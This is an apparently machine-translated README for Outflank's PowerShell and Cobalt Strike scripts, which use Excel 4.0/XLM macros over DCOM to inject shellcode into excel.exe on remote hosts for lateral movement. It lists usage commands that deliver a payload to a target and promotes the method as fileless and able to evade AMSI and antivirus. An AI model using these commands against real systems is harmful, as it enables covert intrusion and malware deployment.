使用Excel 4.0/XLM宏通過DCOM(Excel.exe中的直接外殼程式碼注入)進行橫向移動的PowerShell和Cobalt Strike腳本。
科技
去年,在DerbyCon上的演示之後,我們發佈了一篇博客文章,詳細描述了Excel 4.0宏(也稱為XLM宏)的濫用。這是一種與VBA完全不同的宏語言,自1992年以來就嵌入到Excel中。原始部落格可以在這裡找到,其中包括一個行程注入示例:https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/
事實證明,Excel 4.0宏也通過ExecuteExcel4Macro方法向DCOM公開。我們修改了行程注入XLM宏示例,以便通過DCOM在遠程主機上工作,囙此我們在PowerShell和Cobalt Strike腳本版本中發佈了它。
用法
鈷打擊版
Excel4 DCOM<targethost><listener>
Excel4-DCOM <targethost> <listener>
這將在目標主機上的excel.exe中插入x86臨時負載。確保從32比特信標(可以在64比特系統上運行)執行此操作。
PowerShell版本
Invoke-Excel4DCOM-ComputerName<target>-Payload<Payload location>
Invoke-Excel4DCOM -ComputerName <target> -Payload <payload location>
這將在目標主機上的excel.exe中插入x86臨時負載。請確保在32比特PowerShell主機上執行此操作(SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe)。
為什麼我要使用這個方法而不是橫向移動方法XYZ?
這個方法的一個重要優點是它通過Windows API調用直接將外殼程式碼注入excel.exe。與大多數其他橫向移動方法(包括幾乎所有基於DCOM的方法)不同,此科技不依賴powershell.exe或目標位置的任何其他LOLBIN。囙此,此方法可以完全“無檔案”。另外,AMSI只適用於VBA宏而不適用於XLM,這使得AV很難檢測到AMSI。
這種方法的缺點是什麼?
首先,這種方法速度慢。鈷打擊登臺有效載荷(大約800位元組)需要在遠程主機中注入大約1到2分鐘。注意,這主要是由於概念驗證實現,它逐位元組注入有效負載,以避免XLM宏行長度約束。這應該可以在10位元組的塊中完成,同時仍然保持在XLM行長度限制之下。我只需要找點時間來複習我的程式碼。:-)
其次,由於XLM資料類型的限制(請閱讀我們的部落格瞭解詳細資訊),此方法只針對32比特的Excel.exe安裝—幸運的是,這是絕大多數安裝。請注意,x86可以安裝在x64系統上。這也意味著您應該從32比特PowerShell主機或信標執行此方法。
作者
斯坦·赫格特(@StanHacked)/側翼
特別感謝Philip Tsukerman(@PhilipTsukerman)向我指出Excel 4.0宏是通過DCOM公開的。